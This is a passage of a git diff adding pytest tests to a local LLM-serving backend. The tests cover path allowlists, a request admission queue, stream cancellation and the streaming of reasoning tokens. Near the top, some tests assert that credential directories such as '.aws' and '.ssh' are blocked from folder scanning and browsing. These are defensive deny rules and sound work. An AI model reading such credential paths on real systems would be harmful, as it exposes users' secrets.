+    target = "/run/media/dspofu/nvmeB/modelsAI/gguf/qwen3.6"
+
+    row = studio_db.add_scan_folder(target)
+
+    assert row["path"] == target
+
+
+@pytest.mark.parametrize(
+    "target",
+    [
+        "/run",
+        "/run/media",
+        "/run/media/dspofu",
+        "/run/user/1000/models",
+        "/run/systemd/private",
+        "/run/not-media/dspofu/nvmeB",
+    ],
+)
+def test_legacy_scan_folder_keeps_unrelated_run_paths_blocked(monkeypatch, target):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Path under /run is not allowed"):
+        studio_db.add_scan_folder(target)
+
+
+def test_legacy_scan_folder_keeps_sensitive_dirs_blocked_under_run_media(monkeypatch):
+    _stub_linux_path_checks(monkeypatch, studio_db)
+    monkeypatch.setattr(external_media.platform, "system", lambda: "Linux")
+    _stub_legacy_scan_folder_db(monkeypatch)
+
+    with pytest.raises(ValueError, match = "Credential or configuration"):
+        studio_db.add_scan_folder("/run/media/dspofu/nvmeB/.aws/models")
+
+
+def test_legacy_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path):
+    tree = ast.parse((_BACKEND_ROOT / "routes" / "models.py").read_text(encoding = "utf-8"))
+    function_names = {
+        "_build_browse_allowlist",
+        "_browse_relative_parts",
+        "_is_path_inside_allowlist",
+        "_match_browse_child",
+        "_normalize_browse_request_path",
+        "_resolve_browse_target",
+    }
+    functions = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name in function_names
+    ]
+    module = ast.Module(body = functions, type_ignores = [])
+    ast.fix_missing_locations(module)
+
+    home = tmp_path / "home"
+    media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB"
+    model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6"
+    home.mkdir()
+    model_dir.mkdir(parents = True)
+    (media_root / ".ssh").mkdir()
+
+    fake_paths = SimpleNamespace(
+        hf_default_cache_dir = lambda: tmp_path / "missing-default-hf",
+        legacy_hf_cache_dir = lambda: tmp_path / "missing-legacy-hf",
+        well_known_model_dirs = lambda: [],
+        studio_root = lambda: tmp_path / "missing-studio",
+        outputs_root = lambda: tmp_path / "missing-outputs",
+        exports_root = lambda: tmp_path / "missing-exports",
+    )
+    fake_external_media = SimpleNamespace(
+        linux_run_media_mount_roots = lambda: [media_root],
+        windows_drive_roots = lambda: [],
+    )
+    fake_studio_db = SimpleNamespace(
+        list_scan_folders = lambda: [],
+        contains_sensitive_path_component = studio_db.contains_sensitive_path_component,
+        # The media root is a legitimate mount, not denied; the .ssh 403 below
+        # comes from the credential check. A False stub keeps this OS-independent
+        # (on macOS tmp_path lives under the denied /private/var).
+        is_denied_system_path = lambda _p: False,
+    )
+    monkeypatch.setitem(sys.modules, "utils.paths", fake_paths)
+    monkeypatch.setitem(sys.modules, "utils.paths.external_media", fake_external_media)
+    monkeypatch.setitem(sys.modules, "storage.studio_db", fake_studio_db)
+
+    ns = {
+        "HTTPException": _HTTPException,
+        "os": os,
+        "Path": Path,
+        "Optional": Optional,
+        "_safe_is_dir": lambda p: Path(p).is_dir(),
+        "_resolve_hf_cache_dir": lambda: tmp_path / "missing-hf",
+        "logger": SimpleNamespace(debug = lambda *_args, **_kwargs: None),
+    }
+    exec(compile(module, "<extracted routes/models.py>", "exec"), ns)
+
+    allowlist = ns["_build_browse_allowlist"]()
+
+    assert media_root.resolve() in allowlist
+    assert ns["_resolve_browse_target"](str(model_dir), allowlist) == model_dir.resolve()
+
+    with pytest.raises(_HTTPException) as exc:
+        ns["_resolve_browse_target"](str(media_root / ".ssh"), allowlist)
+    assert exc.value.status_code == 403
+
+    ssh_root = media_root / ".ssh"
+    with pytest.raises(_HTTPException) as exc_root:
+        ns["_resolve_browse_target"](str(ssh_root), [ssh_root])
+    assert exc_root.value.status_code == 403
diff --git a/studio/backend/tests/test_llama_admission.py b/studio/backend/tests/test_llama_admission.py
new file mode 100644
index 0000000000..2f04e81926
--- /dev/null
+++ b/studio/backend/tests/test_llama_admission.py
@@ -0,0 +1,320 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import asyncio
+import os
+import sys
+import threading
+
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference import llama_admission
+from core.inference.llama_admission import (
+    ADMISSION_CONTROL_ENV,
+    ADMISSION_KEEPALIVE_INTERVAL_ENV,
+    ADMISSION_MAX_QUEUE_ENV,
+    ADMISSION_QUEUE_TIMEOUT_ENV,
+    DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S,
+    DEFAULT_ADMISSION_MAX_QUEUE,
+    DEFAULT_ADMISSION_QUEUE_TIMEOUT_S,
+    LlamaAdmissionConfig,
+    LlamaAdmissionQueueFull,
+    get_llama_admission_queue,
+    llama_admission_config_from_env,
+    reset_llama_admission_queues,
+)
+
+
+@pytest.fixture(autouse = True)
+def _reset_queues():
+    reset_llama_admission_queues()
+    yield
+    reset_llama_admission_queues()
+
+
+def test_admission_config_defaults(monkeypatch):
+    for name in (
+        ADMISSION_CONTROL_ENV,
+        ADMISSION_QUEUE_TIMEOUT_ENV,
+        ADMISSION_KEEPALIVE_INTERVAL_ENV,
+        ADMISSION_MAX_QUEUE_ENV,
+    ):
+        monkeypatch.delenv(name, raising = False)
+
+    config = llama_admission_config_from_env()
+
+    assert config.enabled is True
+    assert config.queue_timeout_s == DEFAULT_ADMISSION_QUEUE_TIMEOUT_S
+    assert config.keepalive_interval_s == DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S
+    assert config.max_queue == DEFAULT_ADMISSION_MAX_QUEUE
+
+
+def test_admission_config_env_overrides(monkeypatch):
+    monkeypatch.setenv(ADMISSION_CONTROL_ENV, "off")
+    monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "0")
+    monkeypatch.setenv(ADMISSION_KEEPALIVE_INTERVAL_ENV, "0.25")
+    monkeypatch.setenv(ADMISSION_MAX_QUEUE_ENV, "0")
+
+    config = llama_admission_config_from_env()
+
+    assert config.enabled is False
+    assert config.queue_timeout_s is None
+    assert config.keepalive_interval_s == 0.25
+    assert config.max_queue is None
+
+
+def test_admission_config_positive_queue_timeout_env(monkeypatch):
+    monkeypatch.setenv(ADMISSION_QUEUE_TIMEOUT_ENV, "600")
+
+    config = llama_admission_config_from_env()
+
+    assert config.queue_timeout_s == 600.0
+
+
+def test_fifo_capacity_one_grants_next_waiter_on_release():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        third = queue.reserve(capacity = 1, config = config)
+
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second.lease_nowait() is None
+        assert third.lease_nowait() is None
+        assert queue.snapshot().queued == 2
+
+        first_lease.release()
+        second_lease = await second.wait(0.1)
+        assert second_lease is not None
+        assert third.lease_nowait() is None
+
+        second_lease.release()
+        third_lease = await third.wait(0.1)
+        assert third_lease is not None
+        third_lease.release()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_queue_full_rejects_excess_waiter():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig(max_queue = 1)
+
+        first = queue.reserve(capacity = 1, config = config)
+        queued = queue.reserve(capacity = 1, config = config)
+
+        assert first.lease_nowait() is not None
+        assert queued.lease_nowait() is None
+        with pytest.raises(LlamaAdmissionQueueFull):
+            queue.reserve(capacity = 1, config = config)
+
+    asyncio.run(_run())
+
+
+def test_disabled_admission_bypasses_active_slot_limit():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig(enabled = False)
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+
+        assert first.lease_nowait() is not None
+        assert second.lease_nowait() is not None
+        assert queue.snapshot().active == 0
+        assert queue.snapshot().queued == 0
+
+    asyncio.run(_run())
+
+
+def test_cancelling_promoted_waiter_releases_slot():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+
+        first_lease.release()
+        await asyncio.sleep(0)
+        second.cancel()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_cancelling_promoted_waiter_before_delivery_releases_slot():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+
+        first_lease.release()
+        second.cancel()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_external_waiter_future_cancel_invalidates_reservation():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second._waiter is not None
+
+        second._waiter.future.cancel()
+
+        assert second.lease_nowait() is None
+        assert second.is_cancelled is True
+        assert await second.wait(0.01) is None
+
+        first_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_wait_returns_none_when_waiter_future_cancelled_during_wait():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second._waiter is not None
+
+        wait_task = asyncio.create_task(second.wait(1.0))
+        await asyncio.sleep(0)
+        second._waiter.future.cancel()
+
+        assert await asyncio.wait_for(wait_task, timeout = 0.1) is None
+        assert second.is_cancelled is True
+
+        first_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_capacity_increase_promotes_existing_waiter_fifo():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        first = queue.reserve(capacity = 1, config = config)
+        second = queue.reserve(capacity = 1, config = config)
+
+        first_lease = first.lease_nowait()
+        assert first_lease is not None
+        assert second.lease_nowait() is None
+        assert queue.snapshot().active == 1
+        assert queue.snapshot().queued == 1
+
+        third = queue.reserve(capacity = 2, config = config)
+
+        second_lease = await second.wait(0.1)
+        assert second_lease is not None
+        assert third.lease_nowait() is None
+
+        snapshot = queue.snapshot()
+        assert snapshot.capacity == 2
+        assert snapshot.active == 2
+        assert snapshot.queued == 1
+
+        first_lease.release()
+        third_lease = await third.wait(0.1)
+        assert third_lease is not None
+
+        second_lease.release()
+        third_lease.release()
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_lease_release_is_idempotent_under_concurrent_calls():
+    async def _run():
+        queue = get_llama_admission_queue("http://llama.test")
+        config = LlamaAdmissionConfig()
+
+        reservation = queue.reserve(capacity = 1, config = config)
+        lease = reservation.lease_nowait()
+        assert lease is not None
+
+        threads = [threading.Thread(target = lease.release) for _ in range(16)]
+        for thread in threads:
+            thread.start()
+        for thread in threads:
+            thread.join()
+
+        snapshot = queue.snapshot()
+        assert snapshot.active == 0
+        assert snapshot.queued == 0
+
+    asyncio.run(_run())
+
+
+def test_new_key_evicts_idle_prior_load_queues():
+    # Each model load carries a fresh ephemeral port, so a new base_url key must
+    # not leave the drained queues from earlier loads accumulating forever.
+    get_llama_admission_queue("http://127.0.0.1:1001")
+    get_llama_admission_queue("http://127.0.0.1:1002")
+    assert set(llama_admission._QUEUES) == {"http://127.0.0.1:1002"}
+
+    get_llama_admission_queue("http://127.0.0.1:1003")
+    assert set(llama_admission._QUEUES) == {"http://127.0.0.1:1003"}
+
+
+def test_new_key_retains_in_flight_prior_load_queue():
+    config = LlamaAdmissionConfig()
+    busy = get_llama_admission_queue("http://127.0.0.1:2001")
+
+    async def _run():
+        reservation = busy.reserve(capacity = 1, config = config)
+        lease = reservation.lease_nowait()
+        assert lease is not None
+
+        # A new load must not drop a queue that still has an in-flight request.
+        get_llama_admission_queue("http://127.0.0.1:2002")
+        assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2001", "http://127.0.0.1:2002"}
+
+        # Once it drains, the next load reclaims it.
+        lease.release()
+        get_llama_admission_queue("http://127.0.0.1:2003")
+        assert set(llama_admission._QUEUES) == {"http://127.0.0.1:2003"}
+
+    asyncio.run(_run())
diff --git a/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py
new file mode 100644
index 0000000000..5525bc3ea9
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_effective_parallel_slots.py
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import os
+import sys
+
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference import llama_cpp as llama_cpp_module
+from core.inference.llama_cpp import LlamaCppBackend
+
+
+@pytest.fixture
+def backend(monkeypatch):
+    monkeypatch.setattr(LlamaCppBackend, "_kill_orphaned_servers", lambda self: 0)
+    monkeypatch.setattr(llama_cpp_module.atexit, "register", lambda *_args, **_kwargs: None)
+    return LlamaCppBackend()
+
+
+def test_effective_parallel_slots_initial_value_is_one(backend):
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_commit_uses_final_positive_parallel(backend):
+    backend._commit_effective_parallel_slots(3)
+
+    assert backend.effective_parallel_slots == 3
+
+
+@pytest.mark.parametrize("value", [None, 0, -2, "not-an-int"])
+def test_effective_parallel_slots_commit_invalid_value_falls_back_to_one(backend, value):
+    backend._commit_effective_parallel_slots(value)
+
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_reset_returns_to_one(backend):
+    backend._commit_effective_parallel_slots(4)
+
+    backend._reset_effective_parallel_slots()
+
+    assert backend.effective_parallel_slots == 1
+
+
+def test_effective_parallel_slots_unload_resets_to_one(backend):
+    backend._commit_effective_parallel_slots(4)
+
+    backend.unload_model()
+
+    assert backend.effective_parallel_slots == 1
diff --git a/studio/backend/tests/test_llama_cpp_freshness.py b/studio/backend/tests/test_llama_cpp_freshness.py
index 2a2e113585..08e1334ac9 100644
--- a/studio/backend/tests/test_llama_cpp_freshness.py
+++ b/studio/backend/tests/test_llama_cpp_freshness.py
@@ -137,9 +137,9 @@ def test_read_install_marker_finds_windows_cmake_layout(tmp_path):
 
 @pytest.mark.parametrize("repo", ["unslothai/llama.cpp", "ggml-org/llama.cpp"])
 def test_read_install_marker_carries_published_repo_dynamically(tmp_path, repo):
-    # The freshness check queries whichever release repo the marker records,
-    # so CUDA (unslothai), CPU/macOS (ggml-org), and ROCm all get the right
-    # "latest" tag.
+    # The freshness check queries whichever release repo the marker records:
+    # new installs record the fork, legacy CPU/macOS markers still say ggml-org,
+    # and both must get the right "latest" tag.
     install_dir = tmp_path / "llama.cpp"
     _write_marker(install_dir, tag = "b9000", published_repo = repo)
     bin_path = _fake_binary(install_dir, layout = "cmake")
diff --git a/studio/backend/tests/test_llama_cpp_start_failure_classification.py b/studio/backend/tests/test_llama_cpp_start_failure_classification.py
index 6b26121cf8..246d810602 100644
--- a/studio/backend/tests/test_llama_cpp_start_failure_classification.py
+++ b/studio/backend/tests/test_llama_cpp_start_failure_classification.py
@@ -140,6 +140,16 @@ class TestOllamaAndFallback:
         msg = _classify("", None, None)
         assert "llama-server failed to start" in msg
 
+    def test_health_timeout_names_probe_not_generic(self):
+        # A live server that never returns 200 on /health must name the probe and
+        # proxy/context causes, not blame a bad GGUF (#5740).
+        msg = _classify(
+            "llama-server health check timed out after 600.0s", "/models/x.gguf", "local/x"
+        )
+        assert "/health" in msg
+        assert "NO_PROXY" in msg
+        assert "GGUF file is valid" not in msg
+
 
 class TestOsKillReturncode:
     """SIGKILL (-9) with no diagnostic output is the OOM killer and gets a named,
diff --git a/studio/backend/tests/test_llama_cpp_stream_cancel.py b/studio/backend/tests/test_llama_cpp_stream_cancel.py
new file mode 100644
index 0000000000..f87ce86450
--- /dev/null
+++ b/studio/backend/tests/test_llama_cpp_stream_cancel.py
@@ -0,0 +1,192 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+import contextlib
+import os
+import socket
+import sys
+import threading
+import time
+
+import httpx
+import pytest
+
+_backend = os.path.join(os.path.dirname(__file__), "..")
+sys.path.insert(0, _backend)
+
+from core.inference.llama_cpp import LlamaCppBackend, _LlamaStreamCancelled
+
+
+def _backend_stub() -> LlamaCppBackend:
+    backend = LlamaCppBackend.__new__(LlamaCppBackend)
+    backend._process = object()
+    backend._healthy = True
+    backend._port = 48848
+    backend._effective_context_length = 4096
+    backend._supports_reasoning = False
+    backend._reasoning_always_on = False
+    backend._reasoning_style = "enable_thinking"
+    backend._supports_preserve_thinking = False
+    return backend
+
+
+def test_stream_cancel_uses_internal_exception_not_generator_exit():
+    class FakeResponse:
+        status_code = 200
+
+        def close(self):
+            pass
+
+    class FakeStream:
+        def __enter__(self):
+            return FakeResponse()
+
+        def __exit__(self, *_args):
+            return False
+
+    class FakeClient:
+        def stream(self, *_args, **_kwargs):
+            return FakeStream()
+
+    cancel_event = threading.Event()
+
+    with pytest.raises(Exception) as exc_info:
+        with LlamaCppBackend._stream_with_retry(
+            FakeClient(),
+            "http://llama.test/v1/chat/completions",
+            {},
+            cancel_event,
+        ):
+            cancel_event.set()
+            raise httpx.ReadError("client closed")
+
+    assert exc_info.type is _LlamaStreamCancelled
+    assert not issubclass(exc_info.type, GeneratorExit)
+
+
+def test_generate_chat_completion_swallows_internal_stream_cancel(monkeypatch):
+    backend = _backend_stub()
+
+    @contextlib.contextmanager
+    def fake_open_stream(*_args, **_kwargs):
+        raise _LlamaStreamCancelled
+
+    monkeypatch.setattr(backend, "_open_stream", fake_open_stream)
+
+    chunks = list(
+        backend.generate_chat_completion(
+            [{"role": "user", "content": "hi"}],
+            cancel_event = threading.Event(),
+        )
+    )
+
+    assert chunks == []
+
+
+class _StallUpstream:
+    """Raw HTTP/1.1 server that streams one chunked SSE chunk, then holds the
+    socket open and silent so the client's next read blocks in recv() until its
+    side is torn down. Reproduces a mid-stream stall (llama-server goes quiet)."""
+
+    def __init__(self):
+        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self._sock.bind(("127.0.0.1", 0))
+        self._sock.listen(1)
+        self.port = self._sock.getsockname()[1]
+        self._stop = threading.Event()
+        self._thread = threading.Thread(target = self._serve, daemon = True)
+
+    @property
+    def url(self) -> str:
+        return f"http://127.0.0.1:{self.port}/v1/chat/completions"
+
+    def __enter__(self):
+        self._thread.start()
+        return self
+
+    def __exit__(self, *_exc):
+        self._stop.set()
+        try:
+            self._sock.close()
+        except OSError:
+            pass
+        self._thread.join(timeout = 5)
+
+    def _serve(self) -> None:
+        try:
+            conn, _ = self._sock.accept()
+        except OSError:
+            return
+        with conn:
+            conn.settimeout(5)
+            try:
+                buf = b""
+                while b"\r\n\r\n" not in buf:
+                    data = conn.recv(4096)
+                    if not data:
+                        return
+                    buf += data
+                head, _, body = buf.partition(b"\r\n\r\n")
+                content_length = 0
+                for line in head.split(b"\r\n"):
+                    if line.lower().startswith(b"content-length:"):
+                        content_length = int(line.split(b":", 1)[1].strip())
+                        break
+                while len(body) < content_length:
+                    data = conn.recv(4096)
+                    if not data:
+                        break
+                    body += data
+            except OSError:
+                return
+            conn.sendall(
+                b"HTTP/1.1 200 OK\r\n"
+                b"Content-Type: text/event-stream\r\n"
+                b"Transfer-Encoding: chunked\r\n"
+                b"\r\n"
+            )
+            chunk = b"data: hello\n\n"
+            conn.sendall(b"%x\r\n%s\r\n" % (len(chunk), chunk))
+            # Stall: stay open and silent until the client shuts its side down.
+            while not self._stop.wait(timeout = 0.05):
+                try:
+                    conn.settimeout(0.05)
+                    if conn.recv(1) == b"":
+                        return
+                except socket.timeout:
+                    continue
+                except OSError:
+                    return
+
+
+def test_cancel_interrupts_a_read_blocked_on_a_mid_stream_stall():
+    # Mid-stream stall: the reader is parked in recv() on a long bound read timeout,
+    # so response.close() alone can't wake it; the watcher must shut the socket down.
+    # Assert cancel lands in seconds, not at the far-off deadline (pre-fix: hung ~30s).
+    with _StallUpstream() as server:
+        cancel_event = threading.Event()
+
+        def _cancel_soon():
+            time.sleep(0.3)
+            cancel_event.set()
+
+        threading.Thread(target = _cancel_soon, daemon = True).start()
+
+        started = time.monotonic()
+        with httpx.Client(
+            limits = httpx.Limits(max_keepalive_connections = 0), trust_env = False
+        ) as client:
+            with pytest.raises(_LlamaStreamCancelled):
+                with LlamaCppBackend._stream_with_retry(
+                    client,
+                    server.url,
+                    {},
+                    cancel_event,
+                    first_token_deadline = started + 30,
+                ) as response:
+                    for _chunk in response.iter_text():
+                        pass  # first chunk arrives, then the read blocks silently
+        elapsed = time.monotonic() - started
+
+    assert elapsed < 10, f"cancel took {elapsed:.1f}s; the blocked read was not interrupted"
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 05d2a0b80a..bd2c008589 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -20,7 +20,11 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-from core.inference.llama_cpp import _PROVISIONAL_ARGS_MIN_CHARS, LlamaCppBackend
+from core.inference.llama_cpp import (
+    _MAX_REPROMPTS,
+    _PROVISIONAL_ARGS_MIN_CHARS,
+    LlamaCppBackend,
+)
 from state import tool_approvals
 from state.tool_approvals import TOOL_REJECTED_MESSAGE, resolve_tool_decision
 
@@ -217,7 +221,7 @@ def test_structured_tool_call_after_visible_preface_is_executed(monkeypatch):
     assert assistant_messages[-1]["tool_calls"][0]["function"]["name"] == "render_html"
 
 
-def test_buffered_reasoning_answer_emits_backend_summary(monkeypatch):
+def test_streamed_reasoning_answer_emits_backend_summary(monkeypatch):
     stream = [
         _sse({"reasoning_content": "I am thinking."}),
         _sse({"reasoning_content": " Still thinking."}),
@@ -236,17 +240,236 @@ def test_buffered_reasoning_answer_emits_backend_summary(monkeypatch):
         )
     )
 
+    content_texts = [e["text"] for e in events if e["type"] == "content"]
+    # Reasoning streams live during BUFFERING instead of arriving as one block:
+    # each reasoning delta is emitted immediately, wrapped in <think>.
+    assert content_texts[0] == "<think>I am thinking."
+    assert content_texts[1] == "<think>I am thinking. Still thinking."
+    # The final event closes the block and appends the answer.
+    assert content_texts[-1] == "<think>I am thinking. Still thinking.</think>Final answer."
+
     summary_index = next(
         i for i, event in enumerate(events) if event["type"] == "reasoning_summary"
     )
-    content_index = next(i for i, event in enumerate(events) if event["type"] == "content")
-    assert summary_index < content_index
+    final_content_index = max(i for i, event in enumerate(events) if event["type"] == "content")
+    assert summary_index < final_content_index
     assert events[summary_index]["duration_ms"] == 62000
-    assert (
-        events[content_index]["text"]
-        == "<think>I am thinking. Still thinking.</think>Final answer."
+
+
+def test_reasoning_streams_incrementally_with_tools(monkeypatch):
+    # Regression (DeepSeek "thinking doesn't stream"): with a tool/pill active the
+    # tool-loop generator must stream reasoning token-by-token like the no-tool
+    # path, not accumulate it and dump one buffered <think> block.
+    stream = [
+        _sse({"reasoning_content": "Step one."}),
+        _sse({"reasoning_content": " Step two."}),
+        _sse({"reasoning_content": " Step three."}),
+        _sse({"content": "Done."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "think then answer"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
     )
 
+    reasoning_stage = [
+        e["text"]
+        for e in events
+        if e["type"] == "content"
+        and e["text"].startswith("<think>")
+        and "</think>" not in e["text"]
+    ]
+    # One live emission per reasoning delta -- not a single dump.
+    assert reasoning_stage == [
+        "<think>Step one.",
+        "<think>Step one. Step two.",
+        "<think>Step one. Step two. Step three.",
+    ]
+    final = [e["text"] for e in events if e["type"] == "content"][-1]
+    assert final == "<think>Step one. Step two. Step three.</think>Done."
+
+
+def test_reasoning_only_reply_matches_no_tool_path_with_tools(monkeypatch):
+    # A reasoning-only turn (whole answer in reasoning_content, no content, no
+    # tool) with a tool active streams the reasoning live, then resolves to the
+    # bare reasoning text -- identical to the no-tool generate_chat_completion
+    # path -- so the non-streaming drain still returns it as `content`, not an
+    # empty answer.
+    stream = [
+        _sse({"reasoning_content": "The capital of France is Paris."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 5.0, 5.0])
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "just think"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e["text"] for e in events if e["type"] == "content"]
+    # Reasoning streamed live during BUFFERING (the fix).
+    assert content_texts[0] == "<think>The capital of France is Paris."
+    # Resolves to bare reasoning, matching the no-tool sibling.
+    assert content_texts[-1] == "The capital of France is Paris."
+
+
+def test_reasoning_before_structured_tool_closes_think_block(monkeypatch):
+    # Regression: reasoning streamed live during BUFFERING must be closed with
+    # </think> before a structured tool_call drains, so consumers without a
+    # reasoning extractor (Anthropic /v1/messages) never receive an unclosed
+    # <think>. Mirrors the is_match (XML tool signal) path.
+    tool_stream = [
+        _sse({"reasoning_content": "Let me search."}),
+        *_structured_tool_call("web_search", {"query": "weather"}, "call_1"),
+    ]
+    final_stream = [
+        _sse({"content": "It is sunny."}),
+        _done(),
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [tool_stream, final_stream], payloads)
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 3.0, 4.0, 4.0])
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool", lambda name, arguments, **_kwargs: "sunny"
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    tool_start_index = next(i for i, e in enumerate(events) if e["type"] == "tool_start")
+    content_before_tool = [e["text"] for e in events[:tool_start_index] if e["type"] == "content"]
+    # Reasoning streamed live, then closed before the tool -- balanced block.
+    assert content_before_tool[0] == "<think>Let me search."
+    assert content_before_tool[-1] == "<think>Let me search.</think>"
+
+
+def _replay_route_reasoning_extractor(cumulatives: list[str]) -> tuple[str, str]:
+    """Replay the route's cumulative suffix-diff + reasoning extractor (the
+    shared core of routes/inference.py gguf_stream_chunks and the tool-loop
+    consumer) over content snapshots. Returns (visible, reasoning)."""
+    from routes.inference import _ResponsesReasoningExtractor
+
+    extractor = _ResponsesReasoningExtractor(parse_think_markers = True)
+    prev_text = ""
+    visible: list[str] = []
+    reasoning: list[str] = []
+    for cumulative in cumulatives:
+        new_text = cumulative[len(prev_text) :]
+        prev_text = cumulative
+        if not new_text:
+            continue
+        reasoning_delta, visible_delta = extractor.feed(new_text)
+        if reasoning_delta:
+            reasoning.append(reasoning_delta)
+        if visible_delta:
+            visible.append(visible_delta)
+    final_reasoning, final_visible = extractor.finish()
+    if final_reasoning:
+        reasoning.append(final_reasoning)
+    if final_visible:
+        visible.append(final_visible)
+    return "".join(visible), "".join(reasoning)
+
+
+def test_reasoning_only_route_output_matches_no_tool_path(monkeypatch):
+    # Parity contract: a reasoning-only reply must reach the client identically
+    # whether tools are on or off. Both generators stream <think> live then
+    # resolve to the bare reasoning text; the route's suffix-diff + extractor
+    # must therefore produce the same (visible, reasoning) split for both.
+    stream = [
+        _sse({"reasoning_content": "The capital"}),
+        _sse({"reasoning_content": " of France is Paris."}),
+        _done(),
+    ]
+
+    tool_backend = _make_backend(monkeypatch, [list(stream)], [])
+    _patch_monotonic(monkeypatch, [1.0, 2.0, 2.0])
+    tool_cumulatives = [
+        e["text"]
+        for e in tool_backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "capital of France?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+        if e.get("type") == "content"
+    ]
+
+    no_tool_backend = _make_backend(monkeypatch, [list(stream)], [])
+    no_tool_cumulatives = [
+        y
+        for y in no_tool_backend.generate_chat_completion(
+            messages = [{"role": "user", "content": "capital of France?"}],
+        )
+        if isinstance(y, str)
+    ]
+
+    # Both paths stream the reasoning live with the same leading shape. (Raw
